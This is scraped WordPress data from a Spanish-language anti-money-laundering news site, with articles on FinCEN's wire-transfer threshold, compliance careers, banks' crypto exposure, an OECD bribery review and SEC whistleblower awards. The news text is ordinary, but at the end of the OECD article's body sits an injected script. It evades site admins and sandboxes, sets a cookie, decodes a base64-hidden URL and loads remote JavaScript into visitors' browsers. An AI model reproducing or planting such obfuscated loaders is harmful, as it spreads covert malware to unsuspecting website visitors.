m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al 